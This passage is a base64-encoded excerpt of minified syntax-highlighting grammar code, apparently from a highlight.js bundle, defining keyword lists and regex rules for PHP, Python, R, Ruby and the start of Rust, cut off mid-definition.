T1RISU5HX1JFLApjb250YWluczpbe21hdGNoOi9cPz4vLHNjb3BlOiJtZXRhIixlbmRzUGFyZW50OiEwfV19fSx7c2NvcGU6Im1ldGEiLHZhcmlhbnRzOlt7CmJlZ2luOi88XD9waHAvLHJlbGV2YW5jZToxMH0se2JlZ2luOi88XD89L30se2JlZ2luOi88XD8vLHJlbGV2YW5jZTouMX0sewpiZWdpbjovXD8+L31dfSx7c2NvcGU6InZhcmlhYmxlLmxhbmd1YWdlIixtYXRjaDovXCR0aGlzXGIvfSxyLHcsZix7Cm1hdGNoOlsvY29uc3QvLC9ccy8sYV0sc2NvcGU6ezE6ImtleXdvcmQiLDM6InZhcmlhYmxlLmNvbnN0YW50In19LF8sewpzY29wZToiZnVuY3Rpb24iLHJlbGV2YW5jZTowLGJlZ2luS2V5d29yZHM6ImZuIGZ1bmN0aW9uIixlbmQ6L1s7e10vLApleGNsdWRlRW5kOiEwLGlsbGVnYWw6IlskJVxcW10iLGNvbnRhaW5zOlt7YmVnaW5LZXl3b3JkczoidXNlIgp9LGUuVU5ERVJTQ09SRV9USVRMRV9NT0RFLHtiZWdpbjoiPT4iLGVuZHNQYXJlbnQ6ITB9LHtzY29wZToicGFyYW1zIiwKYmVnaW46IlxcKCIsZW5kOiJcXCkiLGV4Y2x1ZGVCZWdpbjohMCxleGNsdWRlRW5kOiEwLGtleXdvcmRzOm0sCmNvbnRhaW5zOlsic2VsZiIscixmLGUuQ19CTE9DS19DT01NRU5UX01PREUsYyxkXX1dfSx7c2NvcGU6ImNsYXNzIix2YXJpYW50czpbewpiZWdpbktleXdvcmRzOiJlbnVtIixpbGxlZ2FsOi9bKCQiXS99LHtiZWdpbktleXdvcmRzOiJjbGFzcyBpbnRlcmZhY2UgdHJhaXQiLAppbGxlZ2FsOi9bOigkIl0vfV0scmVsZXZhbmNlOjAsZW5kOi9cey8sZXhjbHVkZUVuZDohMCxjb250YWluczpbewpiZWdpbktleXdvcmRzOiJleHRlbmRzIGltcGxlbWVudHMifSxlLlVOREVSU0NPUkVfVElUTEVfTU9ERV19LHsKYmVnaW5LZXl3b3JkczoibmFtZXNwYWNlIixyZWxldmFuY2U6MCxlbmQ6IjsiLGlsbGVnYWw6L1suJ10vLApjb250YWluczpbZS5pbmhlcml0KGUuVU5ERVJTQ09SRV9USVRMRV9NT0RFLHtzY29wZToidGl0bGUuY2xhc3MifSldfSx7CmJlZ2luS2V5d29yZHM6InVzZSIscmVsZXZhbmNlOjAsZW5kOiI7Iixjb250YWluczpbewptYXRjaDovXGIoYXN8Y29uc3R8ZnVuY3Rpb24pXGIvLHNjb3BlOiJrZXl3b3JkIn0sZS5VTkRFUlNDT1JFX1RJVExFX01PREVdfSxjLGRdfQp9LGdybXJfcGhwX3RlbXBsYXRlOmU9Pih7bmFtZToiUEhQIHRlbXBsYXRlIixzdWJMYW5ndWFnZToieG1sIixjb250YWluczpbewpiZWdpbjovPFw/KHBocHw9KT8vLGVuZDovXD8+LyxzdWJMYW5ndWFnZToicGhwIixjb250YWluczpbe2JlZ2luOiIvXFwqIiwKZW5kOiJcXCovIixza2lwOiEwfSx7YmVnaW46J2IiJyxlbmQ6JyInLHNraXA6ITB9LHtiZWdpbjoiYiciLGVuZDoiJyIsc2tpcDohMAp9LGUuaW5oZXJpdChlLkFQT1NfU1RSSU5HX01PREUse2lsbGVnYWw6bnVsbCxjbGFzc05hbWU6bnVsbCxjb250YWluczpudWxsLApza2lwOiEwfSksZS5pbmhlcml0KGUuUVVPVEVfU1RSSU5HX01PREUse2lsbGVnYWw6bnVsbCxjbGFzc05hbWU6bnVsbCwKY29udGFpbnM6bnVsbCxza2lwOiEwfSldfV19KSxncm1yX3BsYWludGV4dDplPT4oe25hbWU6IlBsYWluIHRleHQiLAphbGlhc2VzOlsidGV4dCIsInR4dCJdLGRpc2FibGVBdXRvZGV0ZWN0OiEwfSksZ3Jtcl9weXRob246ZT0+ewpjb25zdCBuPWUucmVnZXgsdD0vW1xwe1hJRF9TdGFydH1fXVxwe1hJRF9Db250aW51ZX0qL3UsYT1bImFuZCIsImFzIiwiYXNzZXJ0IiwiYXN5bmMiLCJhd2FpdCIsImJyZWFrIiwiY2FzZSIsImNsYXNzIiwiY29udGludWUiLCJkZWYiLCJkZWwiLCJlbGlmIiwiZWxzZSIsImV4Y2VwdCIsImZpbmFsbHkiLCJmb3IiLCJmcm9tIiwiZ2xvYmFsIiwiaWYiLCJpbXBvcnQiLCJpbiIsImlzIiwibGFtYmRhIiwibWF0Y2giLCJub25sb2NhbHwxMCIsIm5vdCIsIm9yIiwicGFzcyIsInJhaXNlIiwicmV0dXJuIiwidHJ5Iiwid2hpbGUiLCJ3aXRoIiwieWllbGQiXSxpPXsKJHBhdHRlcm46L1tBLVphLXpdXHcrfF9fXHcrX18vLGtleXdvcmQ6YSwKYnVpbHRfaW46WyJfX2ltcG9ydF9fIiwiYWJzIiwiYWxsIiwiYW55IiwiYXNjaWkiLCJiaW4iLCJib29sIiwiYnJlYWtwb2ludCIsImJ5dGVhcnJheSIsImJ5dGVzIiwiY2FsbGFibGUiLCJjaHIiLCJjbGFzc21ldGhvZCIsImNvbXBpbGUiLCJjb21wbGV4IiwiZGVsYXR0ciIsImRpY3QiLCJkaXIiLCJkaXZtb2QiLCJlbnVtZXJhdGUiLCJldmFsIiwiZXhlYyIsImZpbHRlciIsImZsb2F0IiwiZm9ybWF0IiwiZnJvemVuc2V0IiwiZ2V0YXR0ciIsImdsb2JhbHMiLCJoYXNhdHRyIiwiaGFzaCIsImhlbHAiLCJoZXgiLCJpZCIsImlucHV0IiwiaW50IiwiaXNpbnN0YW5jZSIsImlzc3ViY2xhc3MiLCJpdGVyIiwibGVuIiwibGlzdCIsImxvY2FscyIsIm1hcCIsIm1heCIsIm1lbW9yeXZpZXciLCJtaW4iLCJuZXh0Iiwib2JqZWN0Iiwib2N0Iiwib3BlbiIsIm9yZCIsInBvdyIsInByaW50IiwicHJvcGVydHkiLCJyYW5nZSIsInJlcHIiLCJyZXZlcnNlZCIsInJvdW5kIiwic2V0Iiwic2V0YXR0ciIsInNsaWNlIiwic29ydGVkIiwic3RhdGljbWV0aG9kIiwic3RyIiwic3VtIiwic3VwZXIiLCJ0dXBsZSIsInR5cGUiLCJ2YXJzIiwiemlwIl0sCmxpdGVyYWw6WyJfX2RlYnVnX18iLCJFbGxpcHNpcyIsIkZhbHNlIiwiTm9uZSIsIk5vdEltcGxlbWVudGVkIiwiVHJ1ZSJdLAp0eXBlOlsiQW55IiwiQ2FsbGFibGUiLCJDb3JvdXRpbmUiLCJEaWN0IiwiTGlzdCIsIkxpdGVyYWwiLCJHZW5lcmljIiwiT3B0aW9uYWwiLCJTZXF1ZW5jZSIsIlNldCIsIlR1cGxlIiwiVHlwZSIsIlVuaW9uIl0KfSxyPXtjbGFzc05hbWU6Im1ldGEiLGJlZ2luOi9eKD4+PnxcLlwuXC4pIC99LHM9e2NsYXNzTmFtZToic3Vic3QiLGJlZ2luOi9cey8sCmVuZDovXH0vLGtleXdvcmRzOmksaWxsZWdhbDovIy99LG89e2JlZ2luOi9ce1x7LyxyZWxldmFuY2U6MH0sbD17CmNsYXNzTmFtZToic3RyaW5nIixjb250YWluczpbZS5CQUNLU0xBU0hfRVNDQVBFXSx2YXJpYW50czpbewpiZWdpbjovKFt1VV18W2JCXXxbclJdfFtiQl1bclJdfFtyUl1bYkJdKT8nJycvLGVuZDovJycnLywKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxyXSxyZWxldmFuY2U6MTB9LHsKYmVnaW46LyhbdVVdfFtiQl18W3JSXXxbYkJdW3JSXXxbclJdW2JCXSk/IiIiLyxlbmQ6LyIiIi8sCmNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEUscl0scmVsZXZhbmNlOjEwfSx7CmJlZ2luOi8oW2ZGXVtyUl18W3JSXVtmRl18W2ZGXSknJycvLGVuZDovJycnLywKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxyLG8sc119LHtiZWdpbjovKFtmRl1bclJdfFtyUl1bZkZdfFtmRl0pIiIiLywKZW5kOi8iIiIvLGNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEUscixvLHNdfSx7YmVnaW46LyhbdVVdfFtyUl0pJy8sZW5kOi8nLywKcmVsZXZhbmNlOjEwfSx7YmVnaW46LyhbdVVdfFtyUl0pIi8sZW5kOi8iLyxyZWxldmFuY2U6MTB9LHsKYmVnaW46LyhbYkJdfFtiQl1bclJdfFtyUl1bYkJdKScvLGVuZDovJy99LHtiZWdpbjovKFtiQl18W2JCXVtyUl18W3JSXVtiQl0pIi8sCmVuZDovIi99LHtiZWdpbjovKFtmRl1bclJdfFtyUl1bZkZdfFtmRl0pJy8sZW5kOi8nLywKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxvLHNdfSx7YmVnaW46LyhbZkZdW3JSXXxbclJdW2ZGXXxbZkZdKSIvLGVuZDovIi8sCmNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEUsbyxzXX0sZS5BUE9TX1NUUklOR19NT0RFLGUuUVVPVEVfU1RSSU5HX01PREVdCn0sYz0iWzAtOV0oXz9bMC05XSkqIixkPWAoXFxiKCR7Y30pKT9cXC4oJHtjfSl8XFxiKCR7Y30pXFwuYCxnPSJcXGJ8IithLmpvaW4oInwiKSx1PXsKY2xhc3NOYW1lOiJudW1iZXIiLHJlbGV2YW5jZTowLHZhcmlhbnRzOlt7CmJlZ2luOmAoXFxiKCR7Y30pfCgke2R9KSlbZUVdWystXT8oJHtjfSlbakpdPyg/PSR7Z30pYH0se2JlZ2luOmAoJHtkfSlbakpdP2B9LHsKYmVnaW46YFxcYihbMS05XShfP1swLTldKSp8MCsoXz8wKSopW2xMakpdPyg/PSR7Z30pYH0sewpiZWdpbjpgXFxiMFtiQl0oXz9bMDFdKStbbExdPyg/PSR7Z30pYH0se2JlZ2luOmBcXGIwW29PXShfP1swLTddKStbbExdPyg/PSR7Z30pYAp9LHtiZWdpbjpgXFxiMFt4WF0oXz9bMC05YS1mQS1GXSkrW2xMXT8oPz0ke2d9KWB9LHtiZWdpbjpgXFxiKCR7Y30pW2pKXSg/PSR7Z30pYAp9XX0sYj17Y2xhc3NOYW1lOiJjb21tZW50IixiZWdpbjpuLmxvb2thaGVhZCgvIyB0eXBlOi8pLGVuZDovJC8sa2V5d29yZHM6aSwKY29udGFpbnM6W3tiZWdpbjovIyB0eXBlOi99LHtiZWdpbjovIy8sZW5kOi9cYlxCLyxlbmRzV2l0aFBhcmVudDohMH1dfSxtPXsKY2xhc3NOYW1lOiJwYXJhbXMiLHZhcmlhbnRzOlt7Y2xhc3NOYW1lOiIiLGJlZ2luOi9cKFxzKlwpLyxza2lwOiEwfSx7YmVnaW46L1woLywKZW5kOi9cKS8sZXhjbHVkZUJlZ2luOiEwLGV4Y2x1ZGVFbmQ6ITAsa2V5d29yZHM6aSwKY29udGFpbnM6WyJzZWxmIixyLHUsbCxlLkhBU0hfQ09NTUVOVF9NT0RFXX1dfTtyZXR1cm4gcy5jb250YWlucz1bbCx1LHJdLHsKbmFtZToiUHl0aG9uIixhbGlhc2VzOlsicHkiLCJneXAiLCJpcHl0aG9uIl0sdW5pY29kZVJlZ2V4OiEwLGtleXdvcmRzOmksCmlsbGVnYWw6Lyg8XC98LT58XD8pfD0+Lyxjb250YWluczpbcix1LHtiZWdpbjovXGJzZWxmXGIvfSx7YmVnaW5LZXl3b3JkczoiaWYiLApyZWxldmFuY2U6MH0sbCxiLGUuSEFTSF9DT01NRU5UX01PREUse21hdGNoOlsvXGJkZWYvLC9ccysvLHRdLHNjb3BlOnsKMToia2V5d29yZCIsMzoidGl0bGUuZnVuY3Rpb24ifSxjb250YWluczpbbV19LHt2YXJpYW50czpbewptYXRjaDpbL1xiY2xhc3MvLC9ccysvLHQsL1xzKi8sL1woXHMqLyx0LC9ccypcKS9dfSx7bWF0Y2g6Wy9cYmNsYXNzLywvXHMrLyx0XX1dLApzY29wZTp7MToia2V5d29yZCIsMzoidGl0bGUuY2xhc3MiLDY6InRpdGxlLmNsYXNzLmluaGVyaXRlZCJ9fSx7CmNsYXNzTmFtZToibWV0YSIsYmVnaW46L15bXHQgXSpALyxlbmQ6Lyg/PSMpfCQvLGNvbnRhaW5zOlt1LG0sbF19XX19LApncm1yX3B5dGhvbl9yZXBsOmU9Pih7YWxpYXNlczpbInB5Y29uIl0sY29udGFpbnM6W3tjbGFzc05hbWU6Im1ldGEucHJvbXB0IiwKc3RhcnRzOntlbmQ6LyB8JC8sc3RhcnRzOntlbmQ6IiQiLHN1Ykxhbmd1YWdlOiJweXRob24ifX0sdmFyaWFudHM6W3sKYmVnaW46L14+Pj4oPz1bIF18JCkvfSx7YmVnaW46L15cLlwuXC4oPz1bIF18JCkvfV19XX0pLGdybXJfcjplPT57CmNvbnN0IG49ZS5yZWdleCx0PS8oPzooPzpbYS16QS1aXXxcLlsuX2EtekEtWl0pWy5fYS16QS1aMC05XSopfFwuKD8hXGQpLyxhPW4uZWl0aGVyKC8wW3hYXVswLTlhLWZBLUZdK1wuWzAtOWEtZkEtRl0qW3BQXVsrLV0/XGQraT8vLC8wW3hYXVswLTlhLWZBLUZdKyg/OltwUF1bKy1dP1xkKyk/W0xpXT8vLC8oPzpcZCsoPzpcLlxkKik/fFwuXGQrKSg/OltlRV1bKy1dP1xkKyk/W0xpXT8vKSxpPS9bPSE8PjpdPXxcfFx8fCYmfDo6Oj98PC18PDwtfC0+PnwtPnxcfD58Wy0rKlwvPyEkJnw6PD0+QF5+XXxcKlwqLyxyPW4uZWl0aGVyKC9bKCldLywvW3t9XS8sL1xbXFsvLC9bW1xdXS8sL1xcLywvLC8pCjtyZXR1cm57bmFtZToiUiIsa2V5d29yZHM6eyRwYXR0ZXJuOnQsCmtleXdvcmQ6ImZ1bmN0aW9uIGlmIGluIGJyZWFrIG5leHQgcmVwZWF0IGVsc2UgZm9yIHdoaWxlIiwKbGl0ZXJhbDoiTlVMTCBOQSBUUlVFIEZBTFNFIEluZiBOYU4gTkFfaW50ZWdlcl98MTAgTkFfcmVhbF98MTAgTkFfY2hhcmFjdGVyX3wxMCBOQV9jb21wbGV4X3wxMCIsCmJ1aWx0X2luOiJMRVRURVJTIGxldHRlcnMgbW9udGguYWJiIG1vbnRoLm5hbWUgcGkgVCBGIGFicyBhY29zIGFjb3NoIGFsbCBhbnkgYW55TkEgQXJnIGFzLmNhbGwgYXMuY2hhcmFjdGVyIGFzLmNvbXBsZXggYXMuZG91YmxlIGFzLmVudmlyb25tZW50IGFzLmludGVnZXIgYXMubG9naWNhbCBhcy5udWxsLmRlZmF1bHQgYXMubnVtZXJpYyBhcy5yYXcgYXNpbiBhc2luaCBhdGFuIGF0YW5oIGF0dHIgYXR0cmlidXRlcyBiYXNlZW52IGJyb3dzZXIgYyBjYWxsIGNlaWxpbmcgY2xhc3MgQ29uaiBjb3MgY29zaCBjb3NwaSBjdW1tYXggY3VtbWluIGN1bXByb2QgY3Vtc3VtIGRpZ2FtbWEgZGltIGRpbW5hbWVzIGVtcHR5ZW52IGV4cCBleHByZXNzaW9uIGZsb29yIGZvcmNlQW5kQ2FsbCBnYW1tYSBnYy50aW1lIGdsb2JhbGVudiBJbSBpbnRlcmFjdGl2ZSBpbnZpc2libGUgaXMuYXJyYXkgaXMuYXRvbWljIGlzLmNhbGwgaXMuY2hhcmFjdGVyIGlzLmNvbXBsZXggaXMuZG91YmxlIGlzLmVudmlyb25tZW50IGlzLmV4cHJlc3Npb24gaXMuZmluaXRlIGlzLmZ1bmN0aW9uIGlzLmluZmluaXRlIGlzLmludGVnZXIgaXMubGFuZ3VhZ2UgaXMubGlzdCBpcy5sb2dpY2FsIGlzLm1hdHJpeCBpcy5uYSBpcy5uYW1lIGlzLm5hbiBpcy5udWxsIGlzLm51bWVyaWMgaXMub2JqZWN0IGlzLnBhaXJsaXN0IGlzLnJhdyBpcy5yZWN1cnNpdmUgaXMuc2luZ2xlIGlzLnN5bWJvbCBsYXp5TG9hZERCZmV0Y2ggbGVuZ3RoIGxnYW1tYSBsaXN0IGxvZyBtYXggbWluIG1pc3NpbmcgTW9kIG5hbWVzIG5hcmdzIG56Y2hhciBvbGRDbGFzcyBvbi5leGl0IHBvcy50by5lbnYgcHJvYy50aW1lIHByb2QgcXVvdGUgcmFuZ2UgUmUgcmVwIHJldHJhY2VtZW0gcmV0dXJuIHJvdW5kIHNlcV9hbG9uZyBzZXFfbGVuIHNlcS5pbnQgc2lnbiBzaWduaWYgc2luIHNpbmggc2lucGkgc3FydCBzdGFuZGFyZEdlbmVyaWMgc3Vic3RpdHV0ZSBzdW0gc3dpdGNoIHRhbiB0YW5oIHRhbnBpIHRyYWNlbWVtIHRyaWdhbW1hIHRydW5jIHVuY2xhc3MgdW50cmFjZW1lbSBVc2VNZXRob2QgeHRmcm0iCn0sY29udGFpbnM6W2UuQ09NTUVOVCgvIycvLC8kLyx7Y29udGFpbnM6W3tzY29wZToiZG9jdGFnIixtYXRjaDovQGV4YW1wbGVzLywKc3RhcnRzOntlbmQ6bi5sb29rYWhlYWQobi5laXRoZXIoL1xuXiMnXHMqKD89QFthLXpBLVpdKykvLC9cbl4oPyEjJykvKSksCmVuZHNQYXJlbnQ6ITB9fSx7c2NvcGU6ImRvY3RhZyIsYmVnaW46IkBwYXJhbSIsZW5kOi8kLyxjb250YWluczpbewpzY29wZToidmFyaWFibGUiLHZhcmlhbnRzOlt7bWF0Y2g6dH0se21hdGNoOi9gKD86XFwufFteYFxcXSkrYC99XSxlbmRzUGFyZW50OiEwCn1dfSx7c2NvcGU6ImRvY3RhZyIsbWF0Y2g6L0BbYS16QS1aXSsvfSx7c2NvcGU6ImtleXdvcmQiLG1hdGNoOi9cXFthLXpBLVpdKy99XQp9KSxlLkhBU0hfQ09NTUVOVF9NT0RFLHtzY29wZToic3RyaW5nIixjb250YWluczpbZS5CQUNLU0xBU0hfRVNDQVBFXSwKdmFyaWFudHM6W2UuRU5EX1NBTUVfQVNfQkVHSU4oe2JlZ2luOi9bclJdIigtKilcKC8sZW5kOi9cKSgtKikiLwp9KSxlLkVORF9TQU1FX0FTX0JFR0lOKHtiZWdpbjovW3JSXSIoLSopXHsvLGVuZDovXH0oLSopIi8KfSksZS5FTkRfU0FNRV9BU19CRUdJTih7YmVnaW46L1tyUl0iKC0qKVxbLyxlbmQ6L1xdKC0qKSIvCn0pLGUuRU5EX1NBTUVfQVNfQkVHSU4oe2JlZ2luOi9bclJdJygtKilcKC8sZW5kOi9cKSgtKiknLwp9KSxlLkVORF9TQU1FX0FTX0JFR0lOKHtiZWdpbjovW3JSXScoLSopXHsvLGVuZDovXH0oLSopJy8KfSksZS5FTkRfU0FNRV9BU19CRUdJTih7YmVnaW46L1tyUl0nKC0qKVxbLyxlbmQ6L1xdKC0qKScvfSkse2JlZ2luOiciJyxlbmQ6JyInLApyZWxldmFuY2U6MH0se2JlZ2luOiInIixlbmQ6IiciLHJlbGV2YW5jZTowfV19LHtyZWxldmFuY2U6MCx2YXJpYW50czpbe3Njb3BlOnsKMToib3BlcmF0b3IiLDI6Im51bWJlciJ9LG1hdGNoOltpLGFdfSx7c2NvcGU6ezE6Im9wZXJhdG9yIiwyOiJudW1iZXIifSwKbWF0Y2g6Wy8lW14lXSolLyxhXX0se3Njb3BlOnsxOiJwdW5jdHVhdGlvbiIsMjoibnVtYmVyIn0sbWF0Y2g6W3IsYV19LHtzY29wZTp7CjI6Im51bWJlciJ9LG1hdGNoOlsvW15hLXpBLVowLTkuX118Xi8sYV19XX0se3Njb3BlOnszOiJvcGVyYXRvciJ9LAptYXRjaDpbdCwvXHMrLywvPC0vLC9ccysvXX0se3Njb3BlOiJvcGVyYXRvciIscmVsZXZhbmNlOjAsdmFyaWFudHM6W3ttYXRjaDppfSx7Cm1hdGNoOi8lW14lXSolL31dfSx7c2NvcGU6InB1bmN0dWF0aW9uIixyZWxldmFuY2U6MCxtYXRjaDpyfSx7YmVnaW46ImAiLGVuZDoiYCIsCmNvbnRhaW5zOlt7YmVnaW46L1xcLi99XX1dfX0sZ3Jtcl9ydWJ5OmU9PnsKY29uc3Qgbj1lLnJlZ2V4LHQ9IihbYS16QS1aX11cXHcqWyE/PV0/fFstK35dQHw8PHw+Pnw9fnw9PT0/fDw9PnxbPD5dPT98XFwqXFwqfFstLyslXiYqfmB8XXxcXFtcXF09PykiLGE9bi5laXRoZXIoL1xiKFtBLVpdK1thLXowLTldKykrLywvXGIoW0EtWl0rW2EtejAtOV0rKStbQS1aXSsvKSxpPW4uY29uY2F0KGEsLyg6Olx3KykqLykscj17CiJ2YXJpYWJsZS5jb25zdGFudCI6WyJfX0ZJTEVfXyIsIl9fTElORV9fIl0sCiJ2YXJpYWJsZS5sYW5ndWFnZSI6WyJzZWxmIiwic3VwZXIiXSwKa2V5d29yZDpbImFsaWFzIiwiYW5kIiwiYXR0cl9hY2Nlc3NvciIsImF0dHJfcmVhZGVyIiwiYXR0cl93cml0ZXIiLCJiZWdpbiIsIkJFR0lOIiwiYnJlYWsiLCJjYXNlIiwiY2xhc3MiLCJkZWZpbmVkIiwiZG8iLCJlbHNlIiwiZWxzaWYiLCJlbmQiLCJFTkQiLCJlbnN1cmUiLCJmb3IiLCJpZiIsImluIiwiaW5jbHVkZSIsIm1vZHVsZSIsIm5leHQiLCJub3QiLCJvciIsInJlZG8iLCJyZXF1aXJlIiwicmVzY3VlIiwicmV0cnkiLCJyZXR1cm4iLCJ0aGVuIiwidW5kZWYiLCJ1bmxlc3MiLCJ1bnRpbCIsIndoZW4iLCJ3aGlsZSIsInlpZWxkIl0sCmJ1aWx0X2luOlsicHJvYyIsImxhbWJkYSJdLGxpdGVyYWw6WyJ0cnVlIiwiZmFsc2UiLCJuaWwiXX0scz17CmNsYXNzTmFtZToiZG9jdGFnIixiZWdpbjoiQFtBLVphLXpdKyJ9LG89e2JlZ2luOiIjPCIsZW5kOiI+Igp9LGw9W2UuQ09NTUVOVCgiIyIsIiQiLHtjb250YWluczpbc119KSxlLkNPTU1FTlQoIl49YmVnaW4iLCJePWVuZCIsewpjb250YWluczpbc10scmVsZXZhbmNlOjEwfSksZS5DT01NRU5UKCJeX19FTkRfXyIsZS5NQVRDSF9OT1RISU5HX1JFKV0sYz17CmNsYXNzTmFtZToic3Vic3QiLGJlZ2luOi8jXHsvLGVuZDovXH0vLGtleXdvcmRzOnJ9LGQ9e2NsYXNzTmFtZToic3RyaW5nIiwKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxjXSx2YXJpYW50czpbe2JlZ2luOi8nLyxlbmQ6LycvfSx7YmVnaW46LyIvLGVuZDovIi8KfSx7YmVnaW46L2AvLGVuZDovYC99LHtiZWdpbjovJVtxUXdXeF0/XCgvLGVuZDovXCkvfSx7YmVnaW46LyVbcVF3V3hdP1xbLywKZW5kOi9cXS99LHtiZWdpbjovJVtxUXdXeF0/XHsvLGVuZDovXH0vfSx7YmVnaW46LyVbcVF3V3hdPzwvLGVuZDovPi99LHsKYmVnaW46LyVbcVF3V3hdP1wvLyxlbmQ6L1wvL30se2JlZ2luOi8lW3FRd1d4XT8lLyxlbmQ6LyUvfSx7YmVnaW46LyVbcVF3V3hdPy0vLAplbmQ6Ly0vfSx7YmVnaW46LyVbcVF3V3hdP1x8LyxlbmQ6L1x8L30se2JlZ2luOi9cQlw/KFxcXGR7MSwzfSkvfSx7CmJlZ2luOi9cQlw/KFxceFtBLUZhLWYwLTldezEsMn0pL30se2JlZ2luOi9cQlw/KFxcdVx7P1tBLUZhLWYwLTldezEsNn1cfT8pL30sewpiZWdpbjovXEJcPyhcXE0tXFxDLXxcXE0tXFxjfFxcY1xcTS18XFxNLXxcXEMtXFxNLSlbXHgyMC1ceDdlXS99LHsKYmVnaW46L1xCXD9cXChjfEMtKVtceDIwLVx4N2VdL30se2JlZ2luOi9cQlw/XFw/XFMvfSx7CmJlZ2luOm4uY29uY2F0KC88PFstfl0/Jz8vLG4ubG9va2FoZWFkKC8oXHcrKSg/PVxXKVteXG5dKlxuKD86W15cbl0qXG4pKj9ccypcMVxiLykpLApjb250YWluczpbZS5FTkRfU0FNRV9BU19CRUdJTih7YmVnaW46LyhcdyspLyxlbmQ6LyhcdyspLywKY29udGFpbnM6W2UuQkFDS1NMQVNIX0VTQ0FQRSxjXX0pXX1dfSxnPSJbMC05XShfP1swLTldKSoiLHU9e2NsYXNzTmFtZToibnVtYmVyIiwKcmVsZXZhbmNlOjAsdmFyaWFudHM6W3sKYmVnaW46YFxcYihbMS05XShfP1swLTldKSp8MCkoXFwuKCR7Z30pKT8oW2VFXVsrLV0/KCR7Z30pfHIpP2k/XFxiYH0sewpiZWdpbjoiXFxiMFtkRF1bMC05XShfP1swLTldKSpyP2k/XFxiIn0se2JlZ2luOiJcXGIwW2JCXVswLTFdKF8/WzAtMV0pKnI/aT9cXGIiCn0se2JlZ2luOiJcXGIwW29PXVswLTddKF8/WzAtN10pKnI/aT9cXGIifSx7CmJlZ2luOiJcXGIwW3hYXVswLTlhLWZBLUZdKF8/WzAtOWEtZkEtRl0pKnI/aT9cXGIifSx7CmJlZ2luOiJcXGIwKF8/WzAtN10pK3I/aT9cXGIifV19LGI9e3ZhcmlhbnRzOlt7bWF0Y2g6L1woXCkvfSx7CmNsYXNzTmFtZToicGFyYW1zIixiZWdpbjovXCgvLGVuZDovKD89XCkpLyxleGNsdWRlQmVnaW46ITAsZW5kc1BhcmVudDohMCwKa2V5d29yZHM6cn1dfSxtPVtkLHt2YXJpYW50czpbe21hdGNoOlsvY2xhc3NccysvLGksL1xzKzxccysvLGldfSx7Cm1hdGNoOlsvY2xhc3NccysvLGldfV0sc2NvcGU6ezI6InRpdGxlLmNsYXNzIiw0OiJ0aXRsZS5jbGFzcy5pbmhlcml0ZWQifSwKa2V5d29yZHM6cn0se3JlbGV2YW5jZTowLG1hdGNoOltpLC9cLm5ld1sgKF0vXSxzY29wZTp7MToidGl0bGUuY2xhc3MifX0sewpyZWxldmFuY2U6MCxtYXRjaDovXGJbQS1aXVtBLVpfMC05XStcYi8sY2xhc3NOYW1lOiJ2YXJpYWJsZS5jb25zdGFudCJ9LHsKbWF0Y2g6Wy9kZWYvLC9ccysvLHRdLHNjb3BlOnsxOiJrZXl3b3JkIiwzOiJ0aXRsZS5mdW5jdGlvbiJ9LGNvbnRhaW5zOltiXX0sewpiZWdpbjplLklERU5UX1JFKyI6OiJ9LHtjbGFzc05hbWU6InN5bWJvbCIsCmJlZ2luOmUuVU5ERVJTQ09SRV9JREVOVF9SRSsiKCF8XFw/KT86IixyZWxldmFuY2U6MH0se2NsYXNzTmFtZToic3ltYm9sIiwKYmVnaW46IjooPyFcXHMpIixjb250YWluczpbZCx7YmVnaW46dH1dLHJlbGV2YW5jZTowfSx1LHtjbGFzc05hbWU6InZhcmlhYmxlIiwKYmVnaW46IihcXCRcXFcpfCgoXFwkfEBAPykoXFx3KykpKD89W15AJD9dKSg/IVtBLVphLXpdKSg/IVtAJD8nXSkifSx7CmNsYXNzTmFtZToicGFyYW1zIixiZWdpbjovXHwvLGVuZDovXHwvLGV4Y2x1ZGVCZWdpbjohMCxleGNsdWRlRW5kOiEwLApyZWxldmFuY2U6MCxrZXl3b3JkczpyfSx7YmVnaW46IigiK2UuUkVfU1RBUlRFUlNfUkUrInx1bmxlc3MpXFxzKiIsCmtleXdvcmRzOiJ1bmxlc3MiLGNvbnRhaW5zOlt7Y2xhc3NOYW1lOiJyZWdleHAiLGNvbnRhaW5zOltlLkJBQ0tTTEFTSF9FU0NBUEUsY10sCmlsbGVnYWw6L1xuLyx2YXJpYW50czpbe2JlZ2luOiIvIixlbmQ6Ii9bYS16XSoifSx7YmVnaW46LyVyXHsvLGVuZDovXH1bYS16XSovfSx7CmJlZ2luOiIlclxcKCIsZW5kOiJcXClbYS16XSoifSx7YmVnaW46IiVyISIsZW5kOiIhW2Etel0qIn0se2JlZ2luOiIlclxcWyIsCmVuZDoiXFxdW2Etel0qIn1dfV0uY29uY2F0KG8sbCkscmVsZXZhbmNlOjB9XS5jb25jYXQobyxsKQo7Yy5jb250YWlucz1tLGIuY29udGFpbnM9bTtjb25zdCBwPVt7YmVnaW46L15ccyo9Pi8sc3RhcnRzOntlbmQ6IiQiLGNvbnRhaW5zOm19Cn0se2NsYXNzTmFtZToibWV0YS5wcm9tcHQiLApiZWdpbjoiXihbPj9dPnxbXFx3I10rXFwoXFx3K1xcKTpcXGQrOlxcZCtbPipdfChcXHcrLSk/XFxkK1xcLlxcZCtcXC5cXGQrKHBcXGQrKT9bXlxcZF1bXj5dKz4pKD89WyBdKSIsCnN0YXJ0czp7ZW5kOiIkIixrZXl3b3JkczpyLGNvbnRhaW5zOm19fV07cmV0dXJuIGwudW5zaGlmdChvKSx7bmFtZToiUnVieSIsCmFsaWFzZXM6WyJyYiIsImdlbXNwZWMiLCJwb2RzcGVjIiwidGhvciIsImlyYiJdLGtleXdvcmRzOnIsaWxsZWdhbDovXC9cKi8sCmNvbnRhaW5zOltlLlNIRUJBTkcoe2JpbmFyeToicnVieSJ9KV0uY29uY2F0KHApLmNvbmNhdChsKS5jb25jYXQobSl9fSwKZ3Jtcl9ydXN0OmU9Pntjb25zdCBuPWUucmVnZXgsdD17Y2xhc3NOYW1lOiJ0aXRsZS5mdW5jdGlvbi5pbnZva2UiLHJlbGV2YW5jZTowLApiZWdpbjpuLmNvbmNhdCgvXGIvLC8oPyFsZXRcYikvLGUuSURFTlRfUkUsbi5sb29rYWhlYWQoL1xzKlwoLykpCn0sYT0iKFt1aV0oOHwxNnwzMn